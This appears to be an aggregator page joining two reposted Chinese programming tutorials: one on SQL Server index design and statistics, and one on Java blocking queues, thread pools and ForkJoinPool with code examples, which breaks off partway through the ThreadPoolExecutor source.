让我们先来算一道题:如果某表的一条记录在磁盘上占用1000字节(1K)的话,我们对其中10字节的一个字段建立索引,那么该记录对应的索引大小只有10字节(0.01K)。上篇说过,SQLS的最小空间分配单元是“页(Page)”,一个页面在磁盘上占用8K空间,所以一页只能存储8条“记录”,但可以存储800条“索引”。现在我们要从一个有8000条记录的表中检索符合某个条件的记录(有Where子句),如果没有索引的话,我们需要遍历8000条×1000字节/8K字节=1000个页面才能够找到结果。如果在检索字段上有上述索引的话,那么我们可以在8000条×10字节/8K字节=10个页面中就检索到满足条件的索引块,然后根据索引块上的指针逐一找到结果数据块,这样I/O访问量肯定要少得多。 然而有时用索引还不如不用索引快! 同上,如果要无条件检索全部记录(不用Where子句),不用索引的话,需要访问8000条×1000字节/8K字节=1000个页面;而使用索引的话,首先检索索引,访问8000条×10字节/8K字节=10个页面得到索引检索结果,再根据索引检索结果去对应数据页面,由于是检索全部数据,所以需要再访问8000条×1000字节/8K字节=1000个页面将全部数据读取出来,一共访问了1010个页面,这显然不如不用索引快。 SQLS内部有一套完整的数据索引优化技术,在上述情况下,SQLS会自动使用表扫描的方式检索数据而不会使用任何索引。那么SQLS是怎么知道什么时候用索引,什么时候不用索引的呢?因为SQLS除了维护数据信息外,还维护着数据统计信息! 四、统计信息 打开企业管理器,单击“Database”节点,右击Northwind数据库→单击“属性”→选择“Options”选项卡,观察“Settings”下的各项复选项,你发现了什么? 从Settings中我们可以看到,在数据库中,SQLS将默认的自动创建和更新统计信息,这些统计信息包括数据密度和分布信息,正是它们帮助SQLS确定最佳的查询策略:建立查询计划和是否使用索引以及使用什么样的索引。 在创建索引时,SQLS会创建分布数据页来存放有关索引的两种统计信息:分布表和密度表。查询优化器使用这些统计信息估算使用该索引进行查询的成本(Cost),并在此基础上判断该索引对某个特定查询是否有用。 随着表中的数据发生变化,SQLS自动定期更新这些统计信息。采样是在各个数据页上随机进行。从磁盘读取一个数据页后,该数据页上的所有行都被用来更新统计信息。统计信息更新的频率取决于字段或索引中的数据量以及数据更改量。比如,对于有一万条记录的表,当1000个索引键值发生改变时,该表的统计信息便可能需要更新,因为1000 个值在该表中占了10%,这是一个很大的比例。而对于有1千万条记录的表来说,1000个索引值发生更改的意义则可以忽略不计,因此统计信息就不会自动更新。 至于它们帮助SQLS建立查询计划的具体过程,限于篇幅,这里就省略了,请有兴趣的朋友们自己研究。 顺便多说一句,SQLS除了能自动记录统计信息之外,还可以记录服务器中所发生的其它活动的详细信息,包括I/O 统计信息、CPU 统计信息、锁定请求、T-SQL 和 RPC 统计信息、索引和表扫描、警告和引发的错误、数据库对象的创建/除去、连接/断开、存储过程操作、游标操作等等。这些信息的读取、设置请朋友们在SQLS联机帮助文档(SQL Server Books Online)中搜索字符串“Profiler”查找。 五、索引的人工维护 上面讲到,某些不合适的索引将影响到SQLS的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将会影响到索引的使用。这时需要用户自己来维护索引。 随着数据行的插入、删除和数据页的分裂,有些索引页可能只包含几页数据,另外应用在执行大量I/O的时候,重建非聚聚集索引可以维护I/O的效率。重建索引实质上是重新组织B树。需要重建索引的情况有: 1) 数据和使用模式大幅度变化; 2)排序的顺序发生改变; 3)要进行大量插入操作或已经完成; 4)使用I/O查询的磁盘读次数比预料的要多; 5)由于大量数据修改,使得数据页和索引页没有充分使用而导致空间的使用超出估算; 6)dbcc检查出索引有问题。 六、索引的使用原则 接近尾声的时候,让我们再从另一个角度认识索引的两个重要属性----唯一性索引和复合性索引。 在设计表的时候,可以对字段值进行某些限制,比如可以对字段进行主键约束或唯一性约束。 主键约束是指定某个或多个字段不允许重复,用于防止表中出现两条完全相同的记录,这样的字段称为主键,每张表都可以建立并且只能建立一个主键,构成主键的字段不允许空值。例如职员表中“身份证号”字段或成绩表中“学号、课程编号”字段组合。 而唯一性约束与主键约束类似,区别只在于构成唯一性约束的字段允许出现空值。 建立在主键约束和唯一性约束上的索引,由于其字段值具有唯一性,于是我们将这种索引叫做“唯一性索引”,如果这个唯一性索引是由两个以上字段的组合建立的,那么它又叫“复合性索引”。 注意,唯一索引不是聚集索引,如果对一个字段建立了唯一索引,你仅仅不能向这个字段输入重复的值。并不妨碍你可以对其它类型的字段也建立一个唯一性索引,它们可以是聚集的,也可以是非聚集的。 唯一性索引保证在索引列中的全部数据是唯一的,不会包含冗余数据。如果表中已经有一个主键约束或者唯一性约束,那么当创建表或者修改表时,SQLS自动创建一个唯一性索引。但出于必须保证唯一性,那么应该创建主键约束或者唯一性键约束,而不是创建一个唯一性索引。当创建唯一性索引时,应该认真考虑这些规则:当在表中创建主键约束或者唯一性键约束时, SQLS钭自动创建一个唯一性索引;如果表中已经包含有数据,那么当创建索引时,SQLS检查表中已有数据的冗余性,如果发现冗余值,那么SQLS就取消该语句的执行,并且返回一个错误消息,确保表中的每一行数据都有一个唯一值。 复合索引就是一个索引创建在两个列或者多个列上。在搜索时,当两个或者多个列作为一个关键值时,最好在这些列上创建复合索引。当创建复合索引时,应该考虑这些规则:最多可以把16个列合并成一个单独的复合索引,构成复合索引的列的总长度不能超过900字节,也就是说复合列的长度不能太长;在复合索引中,所有的列必须来自同一个表中,不能跨表建立复合列;在复合索引中,列的排列顺序是非常重要的,原则上,应该首先定义最唯一的列,例如在(COL1,COL2)上的索引与在(COL2,COL1)上的索引是不相同的,因为两个索引的列的顺序不同;为了使查询优化器使用复合索引,查询语句中的WHERE子句必须参考复合索引中第一个列;当表中有多个关键列时,复合索引是非常有用的;使用复合索引可以提高查询性能,减少在一个表中所创建的索引数量。 综上所述,我们总结了如下索引使用原则: 1)逻辑主键使用唯一的成组索引,对系统键(作为存储过程)采用唯一的非成组索引,对任何外键列采用非成组索引。考虑数据库的空间有多大,表如何进行访问,还有这些访问是否主要用作读写。 2)不要索引memo/note 字段,不要索引大型字段(有很多字符),这样作会让索引占用太多的存储空间。 3)不要索引常用的小型表 4)一般不要为小型数据表设置过多的索引,假如它们经常有插入和删除操作就更别这样作了,SQLS对这些插入和删除操作提供的索引维护可能比扫描表空间消耗更多的时间。 七、大结局 查询是一个物理过程,表面上是SQLS在东跑西跑,其实真正大部分压马路的工作是由磁盘输入输出系统(I/O)完成,全表扫描需要从磁盘上读表的每一个数据页,如果有索引指向数据值,则I/O读几次磁盘就可以了。但是,在随时发生的增、删、改操作中,索引的存在会大大增加工作量,因此,合理的索引设计是建立在对各种查询的分析和预测上的,只有正确地使索引与程序结合起来,才能产生最佳的优化方案。 一般来说建立索引的思路是: (1)主键时常作为where子句的条件,应在表的主键列上建立聚聚集索引,尤其当经常用它作为连接的时候。 (2)有大量重复值且经常有范围查询和排序、分组发生的列,或者非常频繁地被访问的列,可考虑建立聚聚集索引。 (3)经常同时存取多列,且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询,并把查询引用最频繁的列作为前导列,如果可能尽量使关键查询形成覆盖查询。 (4)如果知道索引键的所有值都是唯一的,那么确保把索引定义成唯一索引。 (5)在一个经常做插入操作的表上建索引时,使用fillfactor(填充因子)来减少页分裂,同时提高并发度降低死锁的发生。如果在只读表上建索引,则可以把fillfactor置为100。 (6)在选择索引字段时,尽量选择那些小数据类型的字段作为索引键,以使每个索引页能够容纳尽可能多的索引键和指针,通过这种方式,可使一个查询必须遍历的索引页面降到最小。此外,尽可能地使用整数为键值,因为它能够提供比任何数据类型都快的访问速度。 SQLS是一个很复杂的系统,让索引以及查询背后的东西真相大白,可以帮助我们更为深刻的了解我们的系统。一句话,索引就象盐,少则无味多则咸。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_28052907/article/details/75194926。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-30 23:10:07
97
转载
转载文章
...时间越短,越先执行 步骤很简单,拿到延时队列 指定构造方法 继承 implements Delayed 重写 compareTo和getDelay import java.util.Calendar;import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.DelayQueue;import java.util.concurrent.Delayed;import java.util.concurrent.TimeUnit;public class T07_DelayQueue {static BlockingQueue<MyTask> tasks = new DelayQueue<>();static Random r = new Random();static class MyTask implements Delayed {String name;long runningTime;MyTask(String name, long rt) {this.name = name;this.runningTime = rt;}@Overridepublic int compareTo(Delayed o) {if(this.getDelay(TimeUnit.MILLISECONDS) < o.getDelay(TimeUnit.MILLISECONDS))return -1;else if(this.getDelay(TimeUnit.MILLISECONDS) > o.getDelay(TimeUnit.MILLISECONDS)) return 1;else return 0;}@Overridepublic long getDelay(TimeUnit unit) {return unit.convert(runningTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);}@Overridepublic String toString() {return name + " " + runningTime;} }public static void main(String[] args) throws InterruptedException {long now = System.currentTimeMillis();MyTask t1 = new MyTask("t1", now + 1000);MyTask t2 = new MyTask("t2", now + 2000);MyTask t3 = new MyTask("t3", now + 1500);MyTask t4 = new MyTask("t4", now + 2500);MyTask t5 = new MyTask("t5", now + 500);tasks.put(t1);tasks.put(t2);tasks.put(t3);tasks.put(t4);tasks.put(t5);System.out.println(tasks);for(int i=0; i<5; i++) {System.out.println(tasks.take());//获取的是toString方法返回值} }} 7、特殊的阻塞队列2:PriorityQueque 优先队列(二叉树算法,就是排序) import java.util.PriorityQueue;public class T07_01_PriorityQueque {public static void main(String[] args) {PriorityQueue<String> q = new PriorityQueue<>();q.add("c");q.add("e");q.add("a");q.add("d");q.add("z");for (int i = 0; i < 5; i++) {System.out.println(q.poll());} }} 8、特殊的阻塞队列3:SynchronusQueue 同步队列(线程池用处非常大) 此队列容量为0,当插入元素时,必须同时有个线程往外取 就是说,当你往这个队列里面插入一个元素,它就拿着这个元素站着(阻塞),直到有个取元素的线程来,它就把元素交给它 就是用来同步数据的,也就是线程间交互数据用的一个特殊队列 package com.mashibing.juc.c_025;import java.util.concurrent.BlockingQueue;import java.util.concurrent.SynchronousQueue;public class T08_SynchronusQueue { //容量为0public static void main(String[] args) throws InterruptedException {BlockingQueue<String> strs = new SynchronousQueue<>();new Thread(()->{//这个线程就是消费者,来取值try {System.out.println(strs.take());//和同步队列要值} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.put("aaa"); //阻塞等待消费者消费,就拿着aaa站着,等线程来取//strs.put("bbb");//strs.add("aaa");System.out.println(strs.size());} } 9、特殊的阻塞队列4:TransferQueue 传递队列 此队列加入了一个方法transfer()用来向队列添加元素 但是和put()方法不同的是,put添加完元素就走了 而这个方法,添加完自己就阻塞了,直到有人将这个元素取走,它才继续工作(省去我们手动阻塞) import java.util.concurrent.LinkedTransferQueue;public class T09_TransferQueue {public static void main(String[] args) throws InterruptedException {LinkedTransferQueue<String> strs = new LinkedTransferQueue<>();new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.transfer("aaa");//放东西到队列,同时阻塞等待消费者线程,取走元素//strs.put("aaa");//如果用put就和普通队列一样,放完东西就走了/new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();/} } 3、线程池 线程池 由于单独创建线程,十分影响效率,而且无法对线程集中管理,一旦疏落,可能线程无限执行,浪费资源 线程池就是一个存储线程的游泳池,而每个线程就是池子里面的赛道 池子里的线程不执行任何任务,只是提供一个资源 而谁提交了任务,比如我想来游泳,那么池子就给你一个赛道,让你游泳 比如它想练憋气,那么给它一个赛道练憋气 当他们用完,走了,那么后面其它人再过来继续用 这就是线程池,始终只有这几个线程,不做实现,而是借用这几个线程的用户,自己掌控用这些线程资源做什么(提交任务给线程,线程空闲就帮他们完成任务) 线程池的两种类型(两类,不是两个) ThreadPoolExecutor(简称TPE) ForkJoinPool(分解汇总任务(将任务细化,最后汇总结果),少量线程执行多个任务(子任务,TPE做不到先执行子任务),CPU密集型) Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 1、常用类 Executor ExecutorService 扩展了execute方法,具有一个返回值 规定了异步执行机制,提供了一些执行器方法,比如shutdown()关闭等 但是它不知道执行器中的线程何时执行完 Callable 对Runnable进行了扩展,实现Callable的调用,可以有返回值,表示线程的状态 但是无法返回线程执行结果 Future 获得未来线程执行结果 由此,我们可以得知线程池基本的一个使用步骤 其中service.submit():为异步提交,也就是说,主线程该干嘛干嘛,我是异步执行的,和同步不一样(当前线程执行完,主线程才能继续执行,叫同步) futuer.get():获取结果集结果,此时因为异步,主线程执行到这里,结果集可能还没封装好,所以此时如果没有值,就阻塞,直到结果集出来 public static void main(String[] args) throws ExecutionException, InterruptedException {Callable<String> c = new Callable() {@Overridepublic String call() throws Exception {return "Hello Callable";} };ExecutorService service = Executors.newCachedThreadPool();Future<String> future = service.submit(c); //异步System.out.println(future.get());//阻塞service.shutdown();} 2、FutureTask 可充当任务的结果集 上面我们介绍Future是用来得到任务的执行结果的 而FutureTask,可以当做一个任务用,并且返回任务的结果,也就是可以跑线程,然后还可以得到线程结果 public static void main(String[] args) throws InterruptedException, ExecutionException {FutureTask<Integer> task = new FutureTask<>(()->{TimeUnit.MILLISECONDS.sleep(500);return 1000;}); //new Callable () { Integer call();}new Thread(task).start();System.out.println(task.get()); //阻塞} 3、CompletableFuture 非常灵活的任务结果集 一个非常灵活的结果集 他可以将很多执行不同任务的线程的结果进行汇总 比如一个网站,它可以启动多个线程去各大电商网站,比如淘宝,京东,收集某些或某一个商品的价格 最后,将获取的数据进行整合封装 最终,客户就可以通过此网站,获取某类商品在各网站的价格信息 / 假设你能够提供一个服务 这个服务查询各大电商网站同一类产品的价格并汇总展示 @author 马士兵 http://mashibing.com/import java.io.IOException;import java.util.Random;import java.util.concurrent.CompletableFuture;import java.util.concurrent.ExecutionException;import java.util.concurrent.TimeUnit;public class T06_01_CompletableFuture {public static void main(String[] args) throws ExecutionException, InterruptedException {long start, end;/start = System.currentTimeMillis();priceOfTM();priceOfTB();priceOfJD();end = System.currentTimeMillis();System.out.println("use serial method call! " + (end - start));/start = System.currentTimeMillis();CompletableFuture<Double> futureTM = CompletableFuture.supplyAsync(()->priceOfTM());CompletableFuture<Double> futureTB = CompletableFuture.supplyAsync(()->priceOfTB());CompletableFuture<Double> futureJD = CompletableFuture.supplyAsync(()->priceOfJD());CompletableFuture.allOf(futureTM, futureTB, futureJD).join();//当所有结果集都获取到,才汇总阻塞CompletableFuture.supplyAsync(()->priceOfTM()).thenApply(String::valueOf).thenApply(str-> "price " + str).thenAccept(System.out::println);end = System.currentTimeMillis();System.out.println("use completable future! " + (end - start));try {System.in.read();} catch (IOException e) {e.printStackTrace();} }private static double priceOfTM() {delay();return 1.00;}private static double priceOfTB() {delay();return 2.00;}private static double priceOfJD() {delay();return 3.00;}/private static double priceOfAmazon() {delay();throw new RuntimeException("product not exist!");}/private static void delay() {int time = new Random().nextInt(500);try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.printf("After %s sleep!\n", time);} } 4、TPE型线程池1:ThreadPoolExecutor 原理及其参数 线程池由两个集合组成,一个集合存储线程,一个集合存储任务 存储线程:可以规定大小,最多可以有多少个,以及指定核心线程数量(不会被回收) 任务队列:存储任务 细节:初始线程池没有线程,当有一个任务来,线程池起一个线程,又有一个任务来,再起一个线程,直到达到核心线程数量 核心线程数量达到时,新来的任务将存储到任务队列中等待核心线程处理完成,直到任务队列也满了 当任务队列满了,此时再次启动一个线程(非核心线程,一旦空闲,达到指定时间将会消失),直到达到线程最大数量 当线程容器和任务容器都满了,又来了线程,将会执行拒绝策略 上面的细节涉及的所有步骤内容,均由创建线程池的参数执行 下面是ThreadPoolExecutor构造方法参数的源码注释 / 用给定的初始值,创建一个新的线程池 @param corePoolSize 核心线程数量 @param maximumPoolSize 最大线程数量 @param keepAliveTime 当线程数大于核心线程数量时,空闲的线程可生存的时间 @param unit 时间单位 @param workQueue 任务队列,只能包含由execute提交的Runnable任务 @param threadFactory 工厂,用于创建线程给线程池调度的工厂,可以自定义 @param handler 拒绝策略(可以自定义,JDK默认提供4种),当线程边界和队列容量已经满了,新来线程被阻塞时使用的处理程序/public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) JDK提供的4种拒绝策略,不常用,一般都是自己定义拒绝策略 Abort:抛异常 Discard:扔掉,不抛异常 DiscardOldest:扔掉排队时间最久的(将队列中排队时间最久的扔掉,然后让新来的进来) CallerRuns:调用者处理任务(谁通过execute方法提交任务,谁处理) ThreadPoolExecutor继承关系 继承关系:ThreadPoolExecutor->AbstractExectorService类->ExectorService接口->Exector接口 Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 看看下面创建线程池,哪里用到了它 使用实例 import java.io.IOException;import java.util.concurrent.;public class T05_00_HelloThreadPool {static class Task implements Runnable {private int i;public Task(int i) {this.i = i;}@Overridepublic void run() {System.out.println(Thread.currentThread().getName() + " Task " + i);try {System.in.read();} catch (IOException e) {e.printStackTrace();} }@Overridepublic String toString() {return "Task{" +"i=" + i +'}';} }public static void main(String[] args) {ThreadPoolExecutor tpe = new ThreadPoolExecutor(2, 4,60, TimeUnit.SECONDS,new ArrayBlockingQueue<Runnable>(4),Executors.defaultThreadFactory(),new ThreadPoolExecutor.CallerRunsPolicy());//创建线程池,核心2个,最大4个,空闲线程存活时间60s,任务队列容量4,使用默认线程工程,创建线程。拒绝策略是JDK提供的for (int i = 0; i < 8; i++) {tpe.execute(new Task(i));//供提交8次任务}System.out.println(tpe.getQueue());//查看任务队列tpe.execute(new Task(100));//提交新的任务System.out.println(tpe.getQueue());tpe.shutdown();//关闭线程池} } 5、TPE型线程池2:SingleThreadPool 单例线程池(只有一个线程) 为什么有单例线程池 有任务队列,有线程池管理机制 Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 看看下面哪里用到了它 /创建单例线程池,扔5个任务进去,查看输出结果,看看有几个线程执行任务/import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();for(int i=0; i<5; i++) {final int j = i;service.execute(()->{System.out.println(j + " " + Thread.currentThread().getName());});} }} 6、TPE型线程池3:CachedPool 缓存,存储线程池 此线程池没有核心线程,来一个任务启动一个线程(最多Integer.MaxValue,不会放在任务队列,因为任务队列容量为0),每个线程空闲后,只能活60s 实例 import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();//通过Executors获取池子for(int i=0; i<5; i++) {final int j = i;service.execute(()->{//提交任务System.out.println(j + " " + Thread.currentThread().getName());});}service.shutdown();} } 7、TPE型线程池4:FixedThreadPool 固定线程池 此线次池,用于创建一个固定线程数量的线程池,不会回收 实例 import java.util.ArrayList;import java.util.List;import java.util.concurrent.Callable;import java.util.concurrent.ExecutionException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.Future;public class T09_FixedThreadPool {public static void main(String[] args) throws InterruptedException, ExecutionException {//并发执行long start = System.currentTimeMillis();getPrime(1, 200000); long end = System.currentTimeMillis();System.out.println(end - start);//输出并发执行耗费时间final int cpuCoreNum = 4;//并行执行ExecutorService service = Executors.newFixedThreadPool(cpuCoreNum);MyTask t1 = new MyTask(1, 80000); //1-5 5-10 10-15 15-20MyTask t2 = new MyTask(80001, 130000);MyTask t3 = new MyTask(130001, 170000);MyTask t4 = new MyTask(170001, 200000);Future<List<Integer>> f1 = service.submit(t1);Future<List<Integer>> f2 = service.submit(t2);Future<List<Integer>> f3 = service.submit(t3);Future<List<Integer>> f4 = service.submit(t4);start = System.currentTimeMillis();f1.get();f2.get();f3.get();f4.get();end = System.currentTimeMillis();System.out.println(end - start);//输出并行耗费时间}static class MyTask implements Callable<List<Integer>> {int startPos, endPos;MyTask(int s, int e) {this.startPos = s;this.endPos = e;}@Overridepublic List<Integer> call() throws Exception {List<Integer> r = getPrime(startPos, endPos);return r;} }static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;}static List<Integer> getPrime(int start, int end) {List<Integer> results = new ArrayList<>();for(int i=start; i<=end; i++) {if(isPrime(i)) results.add(i);}return results;} } 8、TPE型线程池5:ScheduledPool 预定,延时线程池 根据延时时间(隔多长时间后运行),排序,哪个线程先执行,用户只需要指定核心线程数量 此线程池返回的池对象,和提交任务方法都不一样,比较涉及到时间 import java.util.Random;import java.util.concurrent.Executors;import java.util.concurrent.ScheduledExecutorService;import java.util.concurrent.TimeUnit;public class T10_ScheduledPool {public static void main(String[] args) {ScheduledExecutorService service = Executors.newScheduledThreadPool(4);service.scheduleAtFixedRate(()->{//提交延时任务try {TimeUnit.MILLISECONDS.sleep(new Random().nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName());}, 0, 500, TimeUnit.MILLISECONDS);//指定延时时间和单位,第一个任务延时0毫秒,之后的任务,延时500毫秒} } 9、手写拒绝策略小例子 import java.util.concurrent.;public class T14_MyRejectedHandler {public static void main(String[] args) {ExecutorService service = new ThreadPoolExecutor(4, 4,0, TimeUnit.SECONDS, new ArrayBlockingQueue<>(6),Executors.defaultThreadFactory(),new MyHandler());//将手写拒绝策略传入}static class MyHandler implements RejectedExecutionHandler {//1、继承RejectedExecutionHandler@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {//2、重写方法//log("r rejected")//伪代码,表示通过log4j.log()报一下日志,拒绝的时间,线程名//save r kafka mysql redis//可以尝试保存队列//try 3 times //可以尝试几次,比如3次,重新去抢队列,3次还不行就丢弃if(executor.getQueue().size() < 10000) {//尝试条件,如果size>10000了,就执行拒绝策略//try put again();//如果小于10000,尝试将其放到队列中} }} } 10、ForkJoinPool线程池1:ForkJoinPool 前面我们讲过线程分为两大类,TPE和FJP ForkJoinPool(分解汇总任务(将任务细化,最后汇总结果),少量线程执行多个任务(子任务,TPE做不到先执行子任务),CPU密集型) 适合将大任务切分成多个小任务运行 两个方法,fork():分子任务,将子任务分配到线程池中 join():当前任务的计算结果,如果有子任务,等子任务结果返回后再汇总 下面实例实现,一百万个随机数求和,由两种方法实现,一种ForkJoinPool分任务并行,一种使用单线程做 import java.io.IOException;import java.util.Arrays;import java.util.Random;import java.util.concurrent.ForkJoinPool;import java.util.concurrent.RecursiveAction;import java.util.concurrent.RecursiveTask;public class T12_ForkJoinPool {//1000000个随机数求和static int[] nums = new int[1000000];//一堆数static final int MAX_NUM = 50000;//分任务时,每个任务的操作量不能多于50000个,否则就继续细分static Random r = new Random();//使用随机数将数组初始化static {for(int i=0; i<nums.length; i++) {nums[i] = r.nextInt(100);}System.out.println("---" + Arrays.stream(nums).sum()); //stream api 单线程就这么做,一个一个加}//分任务,需要继承,可以继承RecursiveAction(不需要返回值,一般用在不需要返回值的场景)或//RecursiveTask(需要返回值,我们用这个,因为我们需要最后获取求和结果)两个更好实现的类,//他俩继承与ForkJoinTaskstatic class AddTaskRet extends RecursiveTask<Long> {private static final long serialVersionUID = 1L;int start, end;AddTaskRet(int s, int e) {start = s;end = e;}@Overrideprotected Long compute() {if(end-start <= MAX_NUM) {//如果任务操作数小于规定的最大操作数,就进行运算,long sum = 0L;for(int i=start; i<end; i++) sum += nums[i];return sum;//返回结果} //如果分配的操作数大于规定,就继续细分(简单的重中点分,两半)int middle = start + (end-start)/2;//获取中间值AddTaskRet subTask1 = new AddTaskRet(start, middle);//传入起始值和中间值,表示一个子任务AddTaskRet subTask2 = new AddTaskRet(middle, end);//中间值和结尾值,表示一个子任务subTask1.fork();//分任务subTask2.fork();//分任务return subTask1.join() + subTask2.join();//最后返回结果汇总} }public static void main(String[] args) throws IOException {/ForkJoinPool fjp = new ForkJoinPool();AddTask task = new AddTask(0, nums.length);fjp.execute(task);/ForkJoinPool fjp = new ForkJoinPool();//创建线程池AddTaskRet task = new AddTaskRet(0, nums.length);//创建任务fjp.execute(task);//传入任务long result = task.join();//返回汇总结果System.out.println(result);//System.in.read();} } 11、ForkJoinPool线程池2:WorkStealingPool 任务偷取线程池 原来的线程池,都是有一个任务队列,而这个不同,它给每个线程都分配了一个任务队列 当某一个线程的任务队列没有任务,并且自己空闲,它就去其它线程的任务队列中偷任务,所以叫任务偷取线程池 细节:当线程自己从自己的任务队列拿任务时,不需要加锁,但是偷任务时,因为有两个线程,可能发生同步问题,需要加锁 此线程继承FJP 实例 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;public class T11_WorkStealingPool {public static void main(String[] args) throws IOException {ExecutorService service = Executors.newWorkStealingPool();System.out.println(Runtime.getRuntime().availableProcessors());service.execute(new R(1000));service.execute(new R(2000));service.execute(new R(2000));service.execute(new R(2000)); //daemonservice.execute(new R(2000));//由于产生的是精灵线程(守护线程、后台线程),主线程不阻塞的话,看不到输出System.in.read(); }static class R implements Runnable {int time;R(int t) {this.time = t;}@Overridepublic void run() {try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(time + " " + Thread.currentThread().getName());} }} 12、流式API:ParallelStreamAPI 不懂的请参考:https://blog.csdn.net/grd_java/article/details/110265219 实例 import java.util.ArrayList;import java.util.List;import java.util.Random;public class T13_ParallelStreamAPI {public static void main(String[] args) {List<Integer> nums = new ArrayList<>();Random r = new Random();for(int i=0; i<10000; i++) nums.add(1000000 + r.nextInt(1000000));//System.out.println(nums);long start = System.currentTimeMillis();nums.forEach(v->isPrime(v));long end = System.currentTimeMillis();System.out.println(end - start);//使用parallel stream apistart = System.currentTimeMillis();nums.parallelStream().forEach(T13_ParallelStreamAPI::isPrime);//并行流,将任务切分成子任务执行end = System.currentTimeMillis();System.out.println(end - start);}static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;} } 13、总结 总结 Callable相当于一Runnable但是它有返回值 Future:存储执行完产生的结果 FutureTask 相当于Future+Runnable,既可以执行任务,又能获取任务执行的Future结果 CompletableFuture 可以多任务异步,并对多任务控制,整合任务结果,细化完美,比如可以一个任务完成就可以整合结果,也可以所有任务完成才整合结果 4、ThreadPoolExecutor源码解析 依然只讲重点,实际还需要大家按照上篇博客中看源码的方式来看 1、常用变量的解释 // 1. ctl,可以看做一个int类型的数字,高3位表示线程池状态,低29位表示worker数量private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));// 2. COUNT_BITS,Integer.SIZE为32,所以COUNT_BITS为29private static final int COUNT_BITS = Integer.SIZE - 3;// 3. CAPACITY,线程池允许的最大线程数。1左移29位,然后减1,即为 2^29 - 1private static final int CAPACITY = (1 << COUNT_BITS) - 1;// runState is stored in the high-order bits// 4. 线程池有5种状态,按大小排序如下:RUNNING < SHUTDOWN < STOP < TIDYING < TERMINATEDprivate static final int RUNNING = -1 << COUNT_BITS;private static final int SHUTDOWN = 0 << COUNT_BITS;private static final int STOP = 1 << COUNT_BITS;private static final int TIDYING = 2 << COUNT_BITS;private static final int TERMINATED = 3 << COUNT_BITS;// Packing and unpacking ctl// 5. runStateOf(),获取线程池状态,通过按位与操作,低29位将全部变成0private static int runStateOf(int c) { return c & ~CAPACITY; }// 6. workerCountOf(),获取线程池worker数量,通过按位与操作,高3位将全部变成0private static int workerCountOf(int c) { return c & CAPACITY; }// 7. ctlOf(),根据线程池状态和线程池worker数量,生成ctl值private static int ctlOf(int rs, int wc) { return rs | wc; }/ Bit field accessors that don't require unpacking ctl. These depend on the bit layout and on workerCount being never negative./// 8. runStateLessThan(),线程池状态小于xxprivate static boolean runStateLessThan(int c, int s) {return c < s;}// 9. runStateAtLeast(),线程池状态大于等于xxprivate static boolean runStateAtLeast(int c, int s) {return c >= s;} 2、构造方法 public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) {// 基本类型参数校验if (corePoolSize < 0 ||maximumPoolSize <= 0 ||maximumPoolSize < corePoolSize ||keepAliveTime < 0)throw new IllegalArgumentException();// 空指针校验if (workQueue == null || threadFactory == null || handler == null)throw new NullPointerException();this.corePoolSize = corePoolSize;this.maximumPoolSize = maximumPoolSize;this.workQueue = workQueue;// 根据传入参数unit和keepAliveTime,将存活时间转换为纳秒存到变量keepAliveTime 中this.keepAliveTime = unit.toNanos(keepAliveTime);this.threadFactory = threadFactory;this.handler = handler;} 3、提交执行task的过程 public void execute(Runnable command) {if (command == null)throw new NullPointerException();/ Proceed in 3 steps: 1. If fewer than corePoolSize threads are running, try to start a new thread with the given command as its first task. The call to addWorker atomically checks runState and workerCount, and so prevents false alarms that would add threads when it shouldn't, by returning false. 2. If a task can be successfully queued, then we still need to double-check whether we should have added a thread (because existing ones died since last checking) or that the pool shut down since entry into this method. So we recheck state and if necessary roll back the enqueuing if stopped, or start a new thread if there are none. 3. If we cannot queue task, then we try to add a new thread. If it fails, we know we are shut down or saturated and so reject the task./int c = ctl.get();// worker数量比核心线程数小,直接创建worker执行任务if (workerCountOf(c) < corePoolSize) {if (addWorker(command, true))return;c = ctl.get();}// worker数量超过核心线程数,任务直接进入队列if (isRunning(c) && workQueue.offer(command)) {int recheck = ctl.get();// 线程池状态不是RUNNING状态,说明执行过shutdown命令,需要对新加入的任务执行reject()操作。// 